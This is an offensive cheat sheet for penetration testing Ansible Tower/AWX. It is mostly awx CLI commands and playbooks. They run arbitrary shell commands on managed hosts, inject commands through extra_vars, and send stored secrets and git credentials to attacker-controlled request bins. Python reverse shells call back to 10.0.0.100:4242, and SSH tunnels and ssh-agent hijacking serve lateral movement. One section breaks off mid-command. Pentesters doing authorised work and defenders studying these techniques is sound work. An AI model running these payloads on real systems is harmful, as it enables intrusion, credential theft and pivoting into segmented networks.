Offensive AWX consists of cheat sheets and information to pentest Ansible Tower and AWX. AWX will be used to refer to AWX as well as Ansible Tower. The awx CLI will be used throughout this documentation to allow for more flexible exploitation. Anything done with the CLI can usually be done with the UI as well.
Access to AWX can often be leveraged to pivot in an environment and gain remote code executions on servers.
- Offensive AWX
python -m pip install awxkitTo validate AWX credentials without having impact, you can use the me or the ping command. Exporting the variables will avoid having to specify them every request.
export CONTROLLER_HOST=http://10.1.1.1:10445
export CONTROLLER_USERNAME=admin
export CONTROLLER_PASSWORD=Passw0rd1
awx meYou can specify your username and password on every request with the --conf.username and --conf.password parameters
awx --conf.username admin --conf.password Passw0rd1 meUsing the login function will create a personal access token. You may want to add a description for future reference:
export CONTROLLER_HOST=http://10.1.1.1:10445
export CONTROLLER_USERNAME=admin
export CONTROLLER_PASSWORD=Passw0rd1
awx login --description "Pentest XYZ" -f humanListing your tokens will display the one you just created:
awx me -f human
awx tokens list -f human --filter "id,name,description" --user <id>To export your token and make use of it through awxcli, you can use the following:
export CONTROLLER_OAUTH_TOKEN="[...]"
To clean up your token, you can use the delete function:
awx tokens delete <id>Gather information on the server's content.
awx pingOrganizations are security boundaries for inventories, users, etc.
Listing organizations in the human readable format:
awx organizations list -f human --filter "id,name,description"Get one organization in particular:
awx organizations get <id>Listing projects in the human readable format:
awx projects list -f human --filter "id,name,description"Get one project in particular:
awx projects get <id>An inventory contains hosts.
Listing inventories in the human readable format:
awx inventory list -f humanGetting a specific inventory's details:
awx inventory get <id>Groups contain hosts as well. An inventory can be split into groups for more granular management.
List groups:
awx groups list -f humanList groups for an inventory:
awx groups list -f human --inventory <id>List hosts:
awx hosts list -f human --filter "id,name,inventory"List hosts by inventory:
awx hosts list -f human --filter "id,name,inventory" --inventory <id>Get a single host:
awx hosts get <id>Credentials can be used to connect to hosts to run commands.
awx -k --conf.host http://10.2.255.253:10445 --conf.username admin --conf.password JdkQyYf0JO8zqak4ldBwdusrEfFCw7Wm credentials list -f humanThere are multiple approches to code execution. You can run ad-hoc commands, create or modify projects or templates, etc.
Listing ad-hoc commands in the human readable format:
awx --conf.host <url> --conf.username <username> --conf.token <token> ad_hoc_commands list -f humanCreating an add-hoc command and getting its output:
awx --conf.host <url> --conf.username <username> --conf.token <token> ad_hoc_commands create --inventory <inventory id> --credential <credential_id> --module_name shell --module_args 'whoami; hostname;'
awx --conf.host <url> --conf.username <username> --conf.token <token> ad_hoc_commands stdout <command id>Creating a project:
awx projects create --wait --organization --name='My project' --scm_type git --scm_url 'https://github.com/lm-sec/offensive-awx.git' -f humanModifying a project's scm_url:
awx projects modify <id> --scm_url "https://github.com/lm-sec/offensive-awx.git"For a private git repository, you can create credentials and add them to the project. Use the Source Control credential type:
awx credential_types list -f human
awx organization list -f human
awx credentials create --name "GitHub read" --description "GitHub personal access token" --organization <id> --credential_type <id> --inputs '{ "username":"your-user", "password":"github_pat_your-access-token" }' -f human
awx projects modify <id> --credential <id> -f humanListing job templates in the human readable format:
awx job_templates list -f humanCreating a job template for the hostname_whoami.yml playbook for a project with the scm_url value of https://github.com/lm-sec/offensive-awx.git:
awx job_templates create --name='My job template' --project <id> --inventory <id> --playbook 'playbooks/hostname_whoami.yml' -f humanAdding
--allow_simultaneous truewill allow multiple jobs of same job_template to be run concurrently.
Launching a job template:
awx job_templates launch <id> --monitor -f humanAdding
--monitorwill print the stdout of the job and wait for it to complete.
Reading the output:
awx jobs stdout <id>Changing a job template's playbook:
awx job_templates modify <id> --playbook "playbooks/hostname_whoami.yml"Changing a job template's branch:
awx job_templates modify <id> --scm_branch "main"Extra variables provided at the launch of a job_template take precedence over all other sources of variables. This makes it possible to override variables even if they were not intented to be specified at this level. Specifying a new value for an existing variable will overwrite its value. This is therefore exploitable when variables are used in insecure ways.
Here is an example of an insecure use of a variable :
---
- name: read a file
hosts: all
vars:
filepath: /etc/passwd
tasks:
- name: Show a file's contents
ansible.builtin.shell: |
cat '{{ filepath }}'The code above will execute the cat command on the file specified in the filepath extra variable.
In this example, the job_template only allows the launcher to specify the extra variables.
It would then be possible to exploit the playbook by using the following awx command :
EXTRA_VARS="{\"filepath\": \"';whoami;#\"}"
awx job_template launch --extra_vars "${EXTRA_VARS}" <job_template_id>This would then cause a command injection when this task is processed.
cat '{{ filepath }}' --> cat '';whoami;#Since the playbook did not use the quote filter to escape the variable for safe shell use, we are able to escape the quotes and inject our command. Changing the template command to the following will fix this vulnerability :
cat '{{ filepath | quote }}'This is useful when you are constrained in what you can change about the job_template you have execution rights on. Most of the time, this is when a system administrators has delegated certain job_templates to an actor for their work related activities.
Credentials stealing will between different types of credentials. Here are listed some techniques for some common types of credentials.
To steal these credentials, the idea is to send them to an attacker controlled website using the test API route.
The JSON data sent to test Thycotic secret server credentials:
{"inputs": { "server_url": "https://requestbin.myworkato.com/13d3tpj1" }, "metadata": {"secret_id": "asdf", "secret_field": "asdf"}}A short list of commands that leaks the password to a web server with the test function. It uses the login function to create a token and then tries the current credential values on the server specified in server_url:
URL="http://10.2.255.253:10445"
CRED_ID="8"
DATA='{"inputs": { "server_url": "https://requestbin.myworkato.com/13d3tpj1" }, "metadata": {"secret_id": "asdf", "secret_field": "asdf"}}'
awx login --description "Pentest XYZ" -f human
export CONTROLLER_OAUTH_TOKEN=<token>
curl -X POST -H "Authorization: Bearer $CONTROLLER_OAUTH_TOKEN" -H "Content-Type: application/json" --data-raw "$DATA" "$URL/api/v2/credentials/$CRED_ID/test/"To steal git credentials, you first need a web server that forces the git client to authenticate with basic authentication. Then, you run the following commands, pointing to your web server:
awx projects list -f human --filter "id,name,description,scm_url"
PROJECT_ID="10"
REQUEST_BIN="http://example.com:5000/"
awx projects modify $PROJECT_ID --scm_url $REQUEST_BIN
# The update should automatically update and connect to the server, but you can manually update with the following command
awx projects update $PROJECT_IDYou can use the provided Flask app to leak git credentials.
To steal the SSH username and password, force the server to connect to your controlled machine and listen for the SSH credentials. An SSH honeypot can be used, like the following: https://github.com/droberson/ssh-honeypot.
PROJECT_ID="10"
REQUEST_BIN="http://example.com:5000/"
awx projects It is possible to delegate the execution of a task to a given host when executing a playbook. To do so, we can use the delegate_to keyword on a task. This keyword needs a host as argument. Here is an exemple of a delegated task:
---
- name: read /etc/hosts
hosts: all
tasks:
- name: print target hosts
ansible.builtin.shell: cat /etc/hosts
- name: print host-1 hosts
ansible.builtin.shell: cat /etc/hosts
delegate_to: host-1This would cause the second task to run on host-1, all other tasks will be executed on the target hosts.
Using this delegation method, we can execute arbitrary commands on the execution node.
From there, one can perform enumeration of project artifacts and sometimes grab secrets, like vault passwords, that are sent in clear text.
Interesting pivoting techniques are possible if the machine id uses an SSH key for authenticaton.
This is because, when a job_template is launched, a new pod is created by awx-operator, the context of the execution is sent to this pod and the machine id credential is configured in the local ssh-agent.
Here is what that command looks like:
sh-ctrap 'rm -f /runner/artifacts/<id>/ssh_key_data' EXIT \
&& ssh-add /runner/artifacts/<id>/ssh_key_data \
&& rm -f /runner/artifacts/<id>/ssh_key_data \
&& ansible-playbook -u <user> -v \
-i /runner/inventory/hosts \
-e @/runner/env/extravars playbook.ymlIt starts by trapping a deletion of the key on the EXIT signal, this way the key is instantly deleted at the end even if the command fails.
Afterwards, the key is added to the agent and finally, the playbook is launched.
Therefore, by delegating a task to 127.0.0.1, we can target the execution node and stop the playbook in its tracks.
Since the ssh-agent is already configured and any passphrase needed has been given, we can use ssh commands directly.
Some techniques leveraging this are detailed below.
The execution nodes are pretty slim environments. Therefore, most of the usual suspects that are normally used to gain a shell on a linux system are not present.
However, we can use the execution node's python interpreter to send ourselves a reverse shell. There are multiple ways to deliver such a payload, here are two ways.
It is possible to use a call to ansible.module.shell to launch bash command which will in turn launch a python reverse shell.
Here is what that looks like :
---
- name: "Execution node command execution"
gather_facts: true
hosts: all
tasks:
- ansible.builtin.shell: |
python3 -c "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.100',4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh')"
delegate_to: 127.0.0.1
register: stdout
- ansible.builtin.debug:
var: stdout
You could also execute python code directly containing a reverse shell.
To do that, we can use the ansible.module.shell module again, but specify python3 as the interpreter.
---
- name: "Execution node python script execution"
gather_facts: true
hosts: all
tasks:
- ansible.builtin.shell: |
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.0.100',4242))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn('/bin/sh')
args:
executable: /usr/bin/python3
delegate_to: 127.0.0.1
register: stdout
- ansible.builtin.debug:
var: stdoutThis should send us a reverse shell without the use of a shell script. Example playbooks allowing you to prompt which command or python code is executed on launch are available in the playbooks directory at the root of this repository.
Using remote code execution on the execution node, we can create SSH tunnels between hosts. This can be useful for pivoting in different subnets.
Here is an example that assumes a certain level of segmentation between the dev and prod environments. You can't reach the prod environment from the dev environment. However, the AWX instance is used to manage both subnets, without proper segmentation. We use the execution node to build a reverse port forwarding ssh connection that creates a tunnel between the dev-host on port 9999 to the prod-host on port 25.
---
- name: tunnel
hosts: all
tasks:
- name:
ansible.builtin.shell: |
ssh -o StrictHostKeyChecking=no -R 9999:prod-host:25 user@dev-host -N
delegate_to: 127.0.0.1
You can add
-fflag to the SSH command to background it instantly. The-o StrictHostKeyChecking=noflag disabled host verification to avoid issues, relating to that while pivoting.
In this case, an attacker could forward a production host's port to a machine in the dev subnet that they can reach. We used SMTP as an example.
Using this, we can also hijack the ssh-agent to connect to a host we would normally not be able to interact with through AWX.
This does depends on a reuse of credentials (SSH key or password) to be exploitable.
Assuming we have an inventory containing only host-1, and we do not have the rights to modify it. There is a second host called host-2 to which we want to connect, but we have no way to through AWX.
Here is an example that leverages this technique to pivot on host-2 :
---
- name: execute commands on host-2
hosts: all
tasks:
- name:
ansible.builtin.shell: |
ssh -o StrictHostKeyChecking=no user@host-2 -- [...]
delegate_to: 127.0.0.1 The
-o StrictHostKeyChecking=noflag disabled host verification to avoid issues relating to that while pivoting.